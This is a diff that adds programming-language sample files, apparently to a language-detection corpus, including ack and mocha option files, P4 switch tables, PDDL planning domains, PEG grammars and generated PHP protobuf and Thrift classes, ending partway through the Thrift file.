+CHANGELOG.md
+docs/WhatsNew.md
+docs/GettingStarted.md
+docs/Tags.md
+docs/Overview.md
+docs/CodeObjects.md
+docs/Parser.md
+docs/Handlers.md
+docs/TagsArch.md
+docs/Templates.md
+LICENSE
+LEGAL
diff --git a/samples/Option List/filenames/ackrc b/samples/Option List/filenames/ackrc
new file mode 100644
index 0000000000..cdb71dee1f
--- /dev/null
+++ b/samples/Option List/filenames/ackrc	
@@ -0,0 +1,28 @@
+# lexically sort filenames
+--sort-files
+
+--type-add=ruby=rake,haml,erb
+--type-add=vim=vimrc
+--type-add=js=json
+--type-set=css=sass
+
+# add types ack doesn't know about
+--type-set=MARKDOWN=md,mkd,markdown
+--type-set=RDOC=rdoc
+
+# useful options, almost same as defined in vimrc
+-H
+--smart-case
+
+# ackignore
+--ignore-dir=.binstubs
+--ignore-dir=vendor/bundle
+--ignore-dir=vendor/cache
+--ignore-dir=bower_components
+--ignore-dir=node_modules
+--ignore-dir=dist
+--ignore-dir=log
+--ignore-dir=tmp
+--ignore-dir=vim/bundle
+--ignore-file=is:Session.vim
+--ignore-file=is:tags
diff --git a/samples/Option List/filenames/mocha.opts b/samples/Option List/filenames/mocha.opts
new file mode 100644
index 0000000000..1422e3ed2b
--- /dev/null
+++ b/samples/Option List/filenames/mocha.opts	
@@ -0,0 +1,6 @@
+--colors
+--recursive
+--reporter mochawesome
+--reporter-options reportDir=reports/mochawesome
+--require ./tools/testSetup
+--ui bdd
diff --git a/samples/P4/l2.p4 b/samples/P4/l2.p4
new file mode 100644
index 0000000000..b24ca9745a
--- /dev/null
+++ b/samples/P4/l2.p4
@@ -0,0 +1,329 @@
+/*
+Copyright 2013-present Barefoot Networks, Inc. 
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
+*/
+
+/*
+ * Layer-2 processing
+ */
+
+header_type l2_metadata_t {
+    fields {
+        lkp_pkt_type : 3;
+        lkp_mac_sa : 48;
+        lkp_mac_da : 48;
+        lkp_mac_type : 16;
+
+        l2_nexthop : 16;                       /* next hop from l2 */
+        l2_nexthop_type : 1;                   /* ecmp or nexthop */
+        l2_redirect : 1;                       /* l2 redirect action */
+        l2_src_miss : 1;                       /* l2 source miss */
+        l2_src_move : IFINDEX_BIT_WIDTH;       /* l2 source interface mis-match */
+        stp_group: 10;                         /* spanning tree group id */
+        stp_state : 3;                         /* spanning tree port state */
+        bd_stats_idx : 16;                     /* ingress BD stats index */
+        learning_enabled : 1;                  /* is learning enabled */
+        port_vlan_mapping_miss : 1;            /* port vlan mapping miss */
+        same_if_check : IFINDEX_BIT_WIDTH;     /* same interface check */
+    }
+}
+
+metadata l2_metadata_t l2_metadata;
+
+#ifndef L2_DISABLE
+/*****************************************************************************/
+/* Spanning tree lookup                                                      */
+/*****************************************************************************/
+action set_stp_state(stp_state) {
+    modify_field(l2_metadata.stp_state, stp_state);
+}
+
+table spanning_tree {
+    reads {
+        ingress_metadata.ifindex : exact;
+        l2_metadata.stp_group: exact;
+    }
+    actions {
+        set_stp_state;
+    }
+    size : SPANNING_TREE_TABLE_SIZE;
+}
+#endif /* L2_DISABLE */
+
+control process_spanning_tree {
+#ifndef L2_DISABLE
+    if (l2_metadata.stp_group != STP_GROUP_NONE) {
+        apply(spanning_tree);
+    }
+#endif /* L2_DISABLE */
+}
+
+#ifndef L2_DISABLE
+/*****************************************************************************/
+/* Source MAC lookup                                                         */
+/*****************************************************************************/
+action smac_miss() {
+    modify_field(l2_metadata.l2_src_miss, TRUE);
+}
+
+action smac_hit(ifindex) {
+    bit_xor(l2_metadata.l2_src_move, ingress_metadata.ifindex, ifindex);
+}
+
+table smac {
+    reads {
+        ingress_metadata.bd : exact;
+        l2_metadata.lkp_mac_sa : exact;
+    }
+    actions {
+        nop;
+        smac_miss;
+        smac_hit;
+    }
+    size : MAC_TABLE_SIZE;
+}
+
+/*****************************************************************************/
+/* Destination MAC lookup                                                    */
+/*****************************************************************************/
+action dmac_hit(ifindex) {
+    modify_field(ingress_metadata.egress_ifindex, ifindex);
+    bit_xor(l2_metadata.same_if_check, l2_metadata.same_if_check, ifindex);
+}
+
+action dmac_multicast_hit(mc_index) {
+    modify_field(intrinsic_metadata.mcast_grp, mc_index);
+#ifdef FABRIC_ENABLE
+    modify_field(fabric_metadata.dst_device, FABRIC_DEVICE_MULTICAST);
+#endif /* FABRIC_ENABLE */
+}
+
+action dmac_miss() {
+    modify_field(ingress_metadata.egress_ifindex, IFINDEX_FLOOD);
+#ifdef FABRIC_ENABLE
+    modify_field(fabric_metadata.dst_device, FABRIC_DEVICE_MULTICAST);
+#endif /* FABRIC_ENABLE */
+}
+
+action dmac_redirect_nexthop(nexthop_index) {
+    modify_field(l2_metadata.l2_redirect, TRUE);
+    modify_field(l2_metadata.l2_nexthop, nexthop_index);
+    modify_field(l2_metadata.l2_nexthop_type, NEXTHOP_TYPE_SIMPLE);
+}
+
+action dmac_redirect_ecmp(ecmp_index) {
+    modify_field(l2_metadata.l2_redirect, TRUE);
+    modify_field(l2_metadata.l2_nexthop, ecmp_index);
+    modify_field(l2_metadata.l2_nexthop_type, NEXTHOP_TYPE_ECMP);
+}
+
+action dmac_drop() {
+    drop();
+}
+
+table dmac {
+    reads {
+        ingress_metadata.bd : exact;
+        l2_metadata.lkp_mac_da : exact;
+    }
+    actions {
+#ifdef OPENFLOW_ENABLE
+        openflow_apply;
+        openflow_miss;
+#endif /* OPENFLOW_ENABLE */
+        nop;
+        dmac_hit;
+        dmac_multicast_hit;
+        dmac_miss;
+        dmac_redirect_nexthop;
+        dmac_redirect_ecmp;
+        dmac_drop;
+    }
+    size : MAC_TABLE_SIZE;
+    support_timeout: true;
+}
+#endif /* L2_DISABLE */
+
+control process_mac {
+#ifndef L2_DISABLE
+    apply(smac);
+    apply(dmac);
+#endif /* L2_DISABLE */
+}
+
+#ifndef L2_DISABLE
+/*****************************************************************************/
+/* MAC learn notification                                                    */
+/*****************************************************************************/
+field_list mac_learn_digest {
+    ingress_metadata.bd;
+    l2_metadata.lkp_mac_sa;
+    ingress_metadata.ifindex;
+}
+
+action generate_learn_notify() {
+    generate_digest(MAC_LEARN_RECEIVER, mac_learn_digest);
+}
+
+table learn_notify {
+    reads {
+        l2_metadata.l2_src_miss : ternary;
+        l2_metadata.l2_src_move : ternary;
+        l2_metadata.stp_state : ternary;
+    }
+    actions {
+        nop;
+        generate_learn_notify;
+    }
+    size : LEARN_NOTIFY_TABLE_SIZE;
+}
+#endif /* L2_DISABLE */
+
+control process_mac_learning {
+#ifndef L2_DISABLE
+    if (l2_metadata.learning_enabled == TRUE) {
+        apply(learn_notify);
+    }
+#endif /* L2_DISABLE */
+}
+
+
+/*****************************************************************************/
+/* Validate packet                                                           */
+/*****************************************************************************/
+action set_unicast() {
+    modify_field(l2_metadata.lkp_pkt_type, L2_UNICAST);
+}
+
+action set_unicast_and_ipv6_src_is_link_local() {
+    modify_field(l2_metadata.lkp_pkt_type, L2_UNICAST);
+    modify_field(ipv6_metadata.ipv6_src_is_link_local, TRUE);
+}
+
+action set_multicast() {
+    modify_field(l2_metadata.lkp_pkt_type, L2_MULTICAST);
+    add_to_field(l2_metadata.bd_stats_idx, 1);
+}
+
+action set_multicast_and_ipv6_src_is_link_local() {
+    modify_field(l2_metadata.lkp_pkt_type, L2_MULTICAST);
+    modify_field(ipv6_metadata.ipv6_src_is_link_local, TRUE);
+    add_to_field(l2_metadata.bd_stats_idx, 1);
+}
+
+action set_broadcast() {
+    modify_field(l2_metadata.lkp_pkt_type, L2_BROADCAST);
+    add_to_field(l2_metadata.bd_stats_idx, 2);
+}
+
+action set_malformed_packet(drop_reason) {
+    modify_field(ingress_metadata.drop_flag, TRUE);
+    modify_field(ingress_metadata.drop_reason, drop_reason);
+}
+
+table validate_packet {
+    reads {
+#ifndef __TARGET_BMV2__
+        l2_metadata.lkp_mac_sa mask 0x010000000000 : ternary;
+#else
+        l2_metadata.lkp_mac_sa : ternary;
+#endif
+        l2_metadata.lkp_mac_da : ternary;
+        l3_metadata.lkp_ip_type : ternary;
+        l3_metadata.lkp_ip_ttl : ternary;
+        l3_metadata.lkp_ip_version : ternary;
+#ifndef __TARGET_BMV2__
+        ipv4_metadata.lkp_ipv4_sa mask 0xFF000000 : ternary;
+#else
+        ipv4_metadata.lkp_ipv4_sa : ternary;
+#endif
+#ifndef IPV6_DISABLE
+#ifndef __TARGET_BMV2__
+        ipv6_metadata.lkp_ipv6_sa mask 0xFFFF0000000000000000000000000000 : ternary;
+#else
+        ipv6_metadata.lkp_ipv6_sa : ternary;
+#endif
+#endif /* IPV6_DISABLE */
+    }
+    actions {
+        nop;
+        set_unicast;
+        set_unicast_and_ipv6_src_is_link_local;
+        set_multicast;
+        set_multicast_and_ipv6_src_is_link_local;
+        set_broadcast;
+        set_malformed_packet;
+    }
+    size : VALIDATE_PACKET_TABLE_SIZE;
+}
+
+control process_validate_packet {
+    if (ingress_metadata.drop_flag == FALSE) {
+        apply(validate_packet);
+    }
+}
+
+
+/*****************************************************************************/
+/* Egress BD lookup                                                          */
+/*****************************************************************************/
+action set_egress_bd_properties() {
+}
+
+table egress_bd_map {
+    reads {
+        egress_metadata.bd : exact;
+    }
+    actions {
+        nop;
+        set_egress_bd_properties;
+    }
+    size : EGRESS_BD_MAPPING_TABLE_SIZE;
+}
+
+control process_egress_bd {
+    apply(egress_bd_map);
+}
+
+
+/*****************************************************************************/
+/* Egress VLAN decap                                                         */
+/*****************************************************************************/
+action remove_vlan_single_tagged() {
+    modify_field(ethernet.etherType, vlan_tag_[0].etherType);
+    remove_header(vlan_tag_[0]);
+}
+
+action remove_vlan_double_tagged() {
+    modify_field(ethernet.etherType, vlan_tag_[1].etherType);
+    remove_header(vlan_tag_[0]);
+    remove_header(vlan_tag_[1]);
+}
+
+table vlan_decap {
+    reads {
+        vlan_tag_[0] : valid;
+        vlan_tag_[1] : valid;
+    }
+    actions {
+        nop;
+        remove_vlan_single_tagged;
+        remove_vlan_double_tagged;
+    }
+    size: VLAN_DECAP_TABLE_SIZE;
+}
+
+control process_vlan_decap {
+    apply(vlan_decap);
+}
diff --git a/samples/P4/mirror_acl.p4 b/samples/P4/mirror_acl.p4
new file mode 100644
index 0000000000..f5db1f29d5
--- /dev/null
+++ b/samples/P4/mirror_acl.p4
@@ -0,0 +1,39 @@
+// Copyright 2015, Barefoot Networks, Inc.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+action set_mirror_id(session_id) {
+    clone_ingress_pkt_to_egress(session_id);
+}
+
+table mirror_acl {
+    reads {
+        ingress_metadata.if_label : ternary;
+        ingress_metadata.bd_label : ternary;
+
+        /* ip acl */
+        ingress_metadata.lkp_ipv4_sa : ternary;
+        ingress_metadata.lkp_ipv4_da : ternary;
+        ingress_metadata.lkp_ip_proto : ternary;
+
+        /* mac acl */
+        ingress_metadata.lkp_mac_sa : ternary;
+        ingress_metadata.lkp_mac_da : ternary;
+        ingress_metadata.lkp_mac_type : ternary;
+    }
+    actions {
+        nop;
+        set_mirror_id;
+    }
+    size : INGRESS_MIRROR_ACL_TABLE_SIZE;
+}
diff --git a/samples/PDDL/domain_testproblem.pddl b/samples/PDDL/domain_testproblem.pddl
new file mode 100644
index 0000000000..d36acba44c
--- /dev/null
+++ b/samples/PDDL/domain_testproblem.pddl
@@ -0,0 +1,100 @@
+(define (domain search-and-rescure-scenario)
+	
+	(:requirements :strips :typing :fluents :disjunctive-preconditions :durative-actions)
+
+	(:types drone package location dronezones)
+
+	(:constants Area1 Area2 Area3 Area4 - location)
+
+	(:functions 
+		(total-cost)
+	)
+
+	(:predicates
+		(drone-empty ?d - drone)
+		(holding ?d - drone ?p - package)
+		(at-drone ?d - drone ?l - location)
+		(at-package ?p - package ?l - location)
+		(drone-ground ?d - drone) 
+		(drone-fly ?d - drone) 
+		(location-available ?l - location)
+		(location-available-drone ?d - drone ?l -location)
+		
+	)
+
+	(:durative-action TAKEOFF
+		:parameters (?d - drone ?l - location)
+		:duration ( = ?duration 5)
+		:condition (and (at start (drone-ground ?d))
+					(at start(location-available-drone ?d ?l))
+					(over all(at-drone ?d ?l))
+					(at start(at-drone ?d ?l))
+					) 
+		:effect (and (at start(not (drone-ground ?d)))
+					 (at end(drone-fly ?d))
+					 (at start(not (location-available ? l)))
+					 (at start(not(location-available-drone ?d ?l)))
+					 (at start(increase (total-cost) 10))
+					 )
+	)
+	
+	(:durative-action LAND
+		:parameters (?d - drone ?l - location)
+		:duration ( = ?duration 5)
+		:condition (and (at start(drone-fly ?d))
+						(at start(location-available-drone ?d ?l))
+						(over all(at-drone ?d ?l))
+						(at start(at-drone ?d ?l))
+					) 
+		:effect  (and (at end(drone-ground ?d))
+					(at start(not (drone-fly ?d)))
+					(at start(increase (total-cost) 10))
+					)
+					 
+	)
+
+	
+	(:durative-action LOAD
+		:parameters (?d - drone ?p - package ?l - location)
+		:duration (= ?duration 5)
+		:condition (and (over all(at-drone ?d ?l))
+						(at start(drone-empty ?d))
+						(at start(at-package ?p ?l))
+						(over all(drone-ground ?d)))
+		:effect (and (at end(holding ?d ?p))
+					 (at start(not (drone-empty ?d)))
+					 (at start(not (location-available ? l)))
+					 (at start(not (at-package ?p ?l)))
+					 (at start(increase (total-cost) 10))
+					 )
+	)
+
+	(:durative-action UNLOAD
+		:parameters (?d - drone ?p - package ?l - location)
+		:duration (= ?duration 5)
+		:condition (and (over all(at-drone ?d ?l))
+						(at start(holding ?d ?p))
+						(over all(drone-ground ?d)))
+		:effect (and (at start(not (holding ?d ?p)))
+					 (at end(drone-empty ?d))
+					 (at end(at-package ?p ?l))
+					 (at start(increase (total-cost) 10))
+					 )
+	)
+
+	(:durative-action MOVE
+		:parameters (?d - drone ?from ?to - location)
+		:duration (= ?duration 5)
+		:condition (and (at start(at-drone ?d ?from))
+							(over all(drone-fly ?d))
+							(at start(location-available ?to))
+							)
+		:effect (and (at start(not(at-drone ?d ?from)))
+					 (at end(at-drone ?d ?to))
+					 (at start(not (location-available ?to)))
+					 (at start(location-available ?from))
+					 (at end(location-available-drone ?d ?to))
+					 (at start(increase (total-cost) 10))
+					 )
+	)
+)
diff --git a/samples/PDDL/pathfinding.pddl b/samples/PDDL/pathfinding.pddl
new file mode 100644
index 0000000000..0f79a0dd04
--- /dev/null
+++ b/samples/PDDL/pathfinding.pddl
@@ -0,0 +1,119 @@
+;;Domain for cleaning floor tiles
+;; A domain file for CMP2020M assignment 2018/2019
+;;Myles Leslie 15614035
+
+;; Define the name for this domain (needs to match the domain definition
+;;   in the problem files)
+
+(define (domain floor-tile)
+
+	;; We only require some typing to make this plan faster. We can do without!
+	(:requirements :typing)
+
+	;; We have two types: robots and the tiles, both are objects
+	(:types robot tile - object)
+
+	;; define all the predicates as they are used in the probem files
+	(:predicates  
+
+    ;; described what tile a robot is at
+    (robot-at ?r - robot ?x - tile)
+
+    ;; indicates that tile ?x is above tile ?y
+    (up ?x - tile ?y - tile)
+
+    ;; indicates that tile ?x is below tile ?y
+    (down ?x - tile ?y - tile)
+
+    ;; indicates that tile ?x is right of tile ?y
+    (right ?x - tile ?y - tile)
+
+    ;; indicates that tile ?x is left of tile ?y
+    (left ?x - tile ?y - tile)
+    
+    ;; indicates that a tile is clear (robot can move there)
+    (clear ?x - tile)
+
+    ;; indicates that a tile is cleaned
+    (cleaned ?x - tile)
+ 	)
+
+;; ACTIONS that need to be defined:
+;; defining actions - if tile is cleaned below the robot
+(:action clean-down
+
+;; find what tile the robot is at and the where the tile it's going to is
+ :parameters (?r - robot ?x - tile ?y - tile)
+ 
+;; find if the tile is below the robot and if it's cleaned
+ :precondition (and( down ?y ?x)(robot-at ?r ?x)  (not(cleaned ?y)))
+ 
+ ;; if not cleaned then clean 
+ :effect (and(cleaned ?y))
+ )
+ 
+(:action clean-up
+
+;; find what tile the robot is at and the where the tile it's going to is
+ :parameters (?r - robot ?x - tile ?y - tile)
+ 
+ ;; find if the tile is above the robot and if it's cleaned
+ :precondition (and ( up ?y ?x) (robot-at ?r ?x) (not(cleaned ?y)))
+ 
+ ;; if not cleaned then clean
+ :effect (and(cleaned ?y))
+ )
+ 
+;; all further actions are the same except the direction the robot is going
+;;when there is a tile below
+(:action down 
+
+;; find what tile the robot is at and the where the tile it's going to is
+	:parameters (?r - robot ?x - tile ?y - tile)
+
+;; find if the tile is below the robot, checks if it's clear and if it's cleaned or not
+  	:precondition (and  (down ?y ?x )(robot-at ?r ?x ) (clear ?y )(not(cleaned?y)))  
+	
+;; robot moves to tile if it's clear and doesn't if it isn't clear.
+  	:effect (and (robot-at ?r ?y) (not(robot-at ?r ?x)) (not (clear ?y)) (clear ?x))
+ )
+ 
+ ;;when there is a tile above the robot
+ (:action up   
+
+;; find what tile the robot is at and the where the tile it's going to is
+ 	:parameters (?r - robot ?x - tile ?y - tile)  
+
+;;find if the tile is above the robot, checks if it's clear and if it's cleaned or not
+  	:precondition (and  (up ?y ?x )(robot-at ?r ?x ) (clear ?y )(not(cleaned?y)))
+
+;;robot moves to tile if it's clear and doesn't if it isn't clear.	
+  	:effect (and (robot-at ?r ?y) (not(robot-at ?r ?x)) (not (clear ?y)) (clear ?x))
+ )
+ 
+;;when there is a tile to the left
+ (:action left
+ 
+ ;; find what tile the robot is at and the where the tile it's going to is
+	:parameters (?r - robot ?x - tile ?y - tile)  
+
+;;find if the tile is to the left of the robot, checks if it's clear and if it's cleaned or not	
+  	:precondition (and  (left ?y ?x )(robot-at ?r ?x ) (clear ?y )(not(cleaned?y)))  
+
+;;robot moves to tile if it's clear and doesn't if it isn't clear.	
+  	:effect (and (robot-at ?r ?y) (not(robot-at ?r ?x)) (not (clear ?y)) (clear ?x))
+ )
+ 
+;;when there is a tile to the right
+ (:action right 
+ 
+ ;; find what tile the robot is at and the where the tile it's going to is
+	:parameters (?r - robot ?x - tile ?y - tile)
+	
+;;find if the tile is to the right of the robot, checks if it's clear and if it's cleaned or not
+  	:precondition (and  (right ?y ?x )(robot-at ?r ?x ) (clear ?y )(not(cleaned?y))) 
+	
+;;robot moves to tile if it's clear and doesn't if it isn't clear.
+  	:effect (and (robot-at ?r ?y) (not(robot-at ?r ?x)) (not (clear ?y)) (clear ?x))
+ )
+)
diff --git a/samples/PDDL/problem_4d_5p.pddl b/samples/PDDL/problem_4d_5p.pddl
new file mode 100644
index 0000000000..f48a6ffd22
--- /dev/null
+++ b/samples/PDDL/problem_4d_5p.pddl
@@ -0,0 +1,79 @@
+(define (problem search-and-rescure-scenario_task)
+(:domain search-and-rescure-scenario)
+(:objects
+    drone1 drone2 drone3 drone4 - drone
+    RZ1 RZ2 RZ3 RZ4 - location
+    water1 water2 food1 food2 medicine1  - package
+)
+(:init
+    (at-drone drone1 Area1)
+    (at-drone drone2 Area2)
+    (at-drone drone3 Area3)
+    (at-drone drone4 Area4)
+
+    (at-package water1 Area1)
+    (at-package water2 Area1)
+    (at-package food1 Area2)
+    (at-package food2 Area3)
+    (at-package medicine1 Area4)
+
+    (drone-empty drone1)
+    (drone-empty drone2)
+    (drone-empty drone3)
+    (drone-empty drone4)
+
+    (drone-ground drone1)
+    (drone-ground drone2)
+    (drone-ground drone3)
+    (drone-ground drone4)
+
+    (location-available-drone drone1 Area1)
+    (location-available-drone drone1 Area2)
+    (location-available-drone drone1 Area3)
+    (location-available-drone drone1 Area4)
+    
+    (location-available-drone drone2 Area1)
+    (location-available-drone drone2 Area2)
+    (location-available-drone drone2 Area3)
+    (location-available-drone drone2 Area4)
+    
+    (location-available-drone drone3 Area1)
+    (location-available-drone drone3 Area2)
+    (location-available-drone drone3 Area3)
+    (location-available-drone drone3 Area4)
+    
+    (location-available-drone drone4 Area1)
+    (location-available-drone drone4 Area2)
+    (location-available-drone drone4 Area3)
+    (location-available-drone drone4 Area4)
+
+    (location-available Area1)
+    (location-available Area2)
+    (location-available Area3)
+    (location-available Area4)
+    (location-available RZ1)
+    (location-available RZ2)
+    (location-available RZ3)
+    (location-available RZ4)
+
+    (= (total-cost) 0)
+)
+(:goal (and
+    (at-package water1 RZ1)
+    (at-package water2 RZ3)
+    (at-package medicine1 RZ2)
+    (at-package food2 RZ2)
+    (at-package food1 RZ4)
+    (at-drone drone1 Area1)
+    (at-drone drone2 Area2)
+    (drone-ground drone1)
+    (drone-ground drone2)
+    (at-drone drone3 Area3)
+    (at-drone drone4 Area4)
+    (drone-ground drone3)
+    (drone-ground drone4)
+))
+
+(:metric minimize (total-cost))
+
+)
diff --git a/samples/PEG.js/abnfp.peggy b/samples/PEG.js/abnfp.peggy
new file mode 100644
index 0000000000..cb23c2d222
--- /dev/null
+++ b/samples/PEG.js/abnfp.peggy
@@ -0,0 +1,200 @@
+{{
+import * as ast from "./ast.js";
+}}
+
+{
+const rules = new ast.Rules();
+}
+
+rulelist = (rule / empty)+ {
+  rules.loc = location();
+  return rules;
+}
+
+empty
+  = WSP* comment
+  / WSP* CRLF
+
+// Allow starting whitespace before a rule
+rule = WSP* name:rulename operator:defined_as children:elements c_nl {
+  if (operator === "=/") {
+    rules.addAlternate(name, children, location())
+  } else {
+    rules.addRule(name, children, location())
+  }
+}
+
+rulename = $(ALPHA (ALPHA / DIGIT / "-")*)
+
+// RFC 2045 uses :=
+// RFC 1730 uses ::=
+// `::=` is from the original BNF.
+// I don't know where `:=` came from.
+defined_as = c_wsp* @("=/" / ":"|0..2| "=") c_wsp*
+
+elements = @alternation c_wsp*
+
+comment = ";" $(WSP / VCHAR)* EOL
+
+alternation = head:concatenation tail:(c_wsp* "/" c_wsp* @concatenation)* {
+  if (tail.length > 0) {
+    return new ast.Alternation([head, ...tail], location());
+  }
+  return head;
+}
+
+concatenation = head:repetition tail:(c_wsp+ @repetition)* {
+  if (tail.length > 0) {
+    return new ast.Concatenation([head, ...tail], location());
+  }
+  return head;
+}
+
+repetition = repeat:repeat? e:element {
+  if (repeat) {
+    return new ast.Repetition(repeat, e, location());
+  }
+  return e;
+}
+
+repeat
+  = min:decnum? "*" max:decnum? {
+    min |= 0;
+    if (max === 0) {
+      error("max must not be zero");
+      return;
+    }
+    if ((typeof max === "number") && (max < min)) {
+      error(`max must be greater than or equal to min, but ${max} < ${min}`)
+      return;
+    }
+    return new ast.Repeat(min, max, location());
+  }
+  / n:decnum { return new ast.Repeat(n, n, location()); }
+
+element
+  = name:rulename { return rules.addRef(name, location()) }
+  / group
+  / option
+  / char_val
+  / num_val
+  / prose_val
+
+group = "(" c_wsp* alt:alternation c_wsp* ")" {
+  return new ast.Group(alt, location());
+}
+
+option = "[" c_wsp* alt:alternation c_wsp* "]" {
+  const loc = location();
+  return new ast.Repetition(new ast.Repeat(0, 1, loc), alt, loc);
+}
+
+char_val
+  = "%i"i? DQUOTE txt:$([\x20-\x21] / [\x23-\x7e])* DQUOTE {
+    return new ast.CaseInsensitiveString(txt, location());
+  }
+  / "%s"i DQUOTE txt:$([\x20-\x21] / [\x23-\x7e])* DQUOTE {
+    return new ast.CaseSensitiveString(txt, 0, location());
+  }
+
+num_val = "%" @(bin_val / dec_val / hex_val)
+
+prose_val = "<" prose:$([\x20-\x3d] / [\x3f-\x7e] / CRLF)* ">" {
+  return new ast.Prose(prose, location());
+}
+
+DQUOTE = "\""
+
+bin_val
+  = "b"i nums:binnum|2..,"."| {
+    return new ast.CaseSensitiveString(
+      nums.map(b => String.fromCodePoint(b)).join(""),
+      2,
+      location()
+    );
+  }
+  / "b"i min:binnum "-" max:binnum {
+    return ast.Range.create(2, min, max, location());
+  }
+  / "b"i n:binnum {
+    return new ast.CaseSensitiveString(String.fromCodePoint(n), 2, location())
+  }
+
+dec_val
+  = "d"i nums:decnum|2..,"."| {
+    return new ast.CaseSensitiveString(
+      nums.map(d => String.fromCodePoint(d)).join(""),
+      10,
+      location()
+    );
+  }
+  / "d"i min:decnum "-" max:decnum {
+    return ast.Range.create(10, min, max, location());
+  }
+  / "d"i n:decnum {
+    return new ast.CaseSensitiveString(String.fromCodePoint(n), 10, location())
+  }
+
+hex_val
+  = "x"i nums:hexnum|2..,"."| {
+    return new ast.CaseSensitiveString(
+      nums.map(x => String.fromCodePoint(x)).join(""),
+      16,
+      location()
+    );
+  }
+  / "x"i min:hexnum "-" max:hexnum {
+    return ast.Range.create(16, min, max, location());
+  }
+  / "x"i n:hexnum {
+    return new ast.CaseSensitiveString(String.fromCodePoint(n), 10, location())
+  }
+
+binnum = b:$BIT+ { return parseInt(b, 2) }
+decnum = d:$DIGIT+ { return parseInt(d, 10) }
+hexnum = h:$HEXDIG+ { return parseInt(h, 16) }
+
+c_wsp
+  = c_nl WSP
+  / WSP
+
+c_nl
+  = EOL
+  / comment
+
+EOL
+  = CRLF
+  / EOF
+
+EOF
+  = !.
+
+BIT
+  = "0"
+  / "1"
+
+HEXDIG
+  = DIGIT
+  / [A-F]i
+
+ALPHA = [\x41-\x5a] / [\x61-\x7a]
+
+DIGIT = [\x30-\x39]
+
+WSP = SP / HTAB
+
+SP = " "
+
+HTAB = "\t"
+
+VCHAR = [\x21-\x7e]
+
+// Take any CR/LF sequence
+CRLF
+  = CR LF // Windows
+  / LF    // Unix
+  / CR    // Mac
+
+CR = "\r"
+
+LF = "\n"
diff --git a/samples/PEG.js/rfc5988.pegjs b/samples/PEG.js/rfc5988.pegjs
new file mode 100644
index 0000000000..f0acf594c3
--- /dev/null
+++ b/samples/PEG.js/rfc5988.pegjs
@@ -0,0 +1,74 @@
+/*
+ * Copyright 2013 the original author or authors
+ * @license MIT, see LICENSE.txt for details
+ * https://github.com/cujojs/rest/blob/master/parsers/rfc5988.pegjs
+ *
+ * @author Scott Andrews
+ */
+
+start =
+  start:(i:LinkValue OptionalSP ',' OptionalSP {return i;})* last:LinkValue
+  { return start.concat([last]) }
+
+LinkValue =
+  '<' href:URIReference '>' OptionalSP params:LinkParams*
+  {
+    var link = {};
+    params.forEach(function (param) {
+      link[param[0]] = param[1];
+    });
+    link.href = href;
+    return link;
+  }
+
+LinkParams = 
+  ';' OptionalSP param:LinkParam OptionalSP
+  { return param }
+
+URIReference =
+  // TODO see http://tools.ietf.org/html/rfc3987#section-3.1
+  url:[^>]+
+  { return url.join('') }
+
+LinkParam = 
+  name:LinkParamName value:LinkParamValue?
+  { return [name, value] }
+
+LinkParamName =
+  name:[a-z]+
+  { return name.join('') }
+
+LinkParamValue =
+  "=" str:(PToken / QuotedString)
+  { return str }
+
+PToken =
+  token:PTokenChar+
+  { return token.join('') }
+
+PTokenChar = '!' / '#' / '$' / '%' / '&' / "'" / '('
+           / ')' / '*' / '+' / '-' / '.' / '|' / Digit
+           / ':' / '<' / '=' / '>' / '?' / '@' / Alpha
+           / '[' / ']' / '^' / '_' / '`' / '{' / [//]
+           / '}' / '~'
+
+OptionalSP =
+  SP*
+
+QuotedString =
+  DQ str:QuotedStringInternal DQ
+  { return str }
+
+QuotedStringInternal =
+  str:(QDText / QuotedPair )*
+  { return str.join('') }
+
+Char        = [\x00-\x7F]
+UpAlpha     = [A-Z]
+LoAlpha     = [a-z]
+Alpha       = UpAlpha / LoAlpha
+Digit       = [0-9]
+SP          = [\x20]
+DQ          = [\x22]
+QDText      = [^"]
+QuotedPair  = [\\] Char
diff --git a/samples/PHP/ProtobufGenerated.php b/samples/PHP/ProtobufGenerated.php
new file mode 100644
index 0000000000..9eeb5e64ea
--- /dev/null
+++ b/samples/PHP/ProtobufGenerated.php
@@ -0,0 +1,58 @@
+<?php
+# Generated by the protocol buffer compiler.  DO NOT EDIT!
+# source: acquia/messages/shared/test.proto
+
+namespace Example;
+
+use Google\Protobuf\Internal\GPBType;
+use Google\Protobuf\Internal\RepeatedField;
+use Google\Protobuf\Internal\GPBUtil;
+
+/**
+ * Generated from protobuf message <code>example.Item</code>
+ */
+class Item extends \Google\Protobuf\Internal\Message
+{
+    /**
+     * Generated from protobuf field <code>string name = 1;</code>
+     */
+    protected $name = '';
+
+    /**
+     * Constructor.
+     *
+     * @param array $data {
+     *     Optional. Data for populating the Message object.
+     *
+     *     @type string $name
+     * }
+     */
+    public function __construct($data = NULL) {
+        \GPBMetadata\Acquia\Messages\Shared\Test::initOnce();
+        parent::__construct($data);
+    }
+
+    /**
+     * Generated from protobuf field <code>string name = 1;</code>
+     * @return string
+     */
+    public function getName()
+    {
+        return $this->name;
+    }
+
+    /**
+     * Generated from protobuf field <code>string name = 1;</code>
+     * @param string $var
+     * @return $this
+     */
+    public function setName($var)
+    {
+        GPBUtil::checkString($var, True);
+        $this->name = $var;
+
+        return $this;
+    }
+
+}
+
diff --git a/samples/PHP/ThriftGenerated.php b/samples/PHP/ThriftGenerated.php
new file mode 100644
index 0000000000..0f031ffd06
--- /dev/null
+++ b/samples/PHP/ThriftGenerated.php
@@ -0,0 +1,93 @@
+<?php
+namespace github\com;
+
+/**
+ * Autogenerated by Thrift Compiler (0.9.3)
+ *
+ * DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
+ *  @generated
+ */
+use Thrift\Base\TBase;
+use Thrift\Type\TType;
+use Thrift\Type\TMessageType;
+use Thrift\Exception\TException;
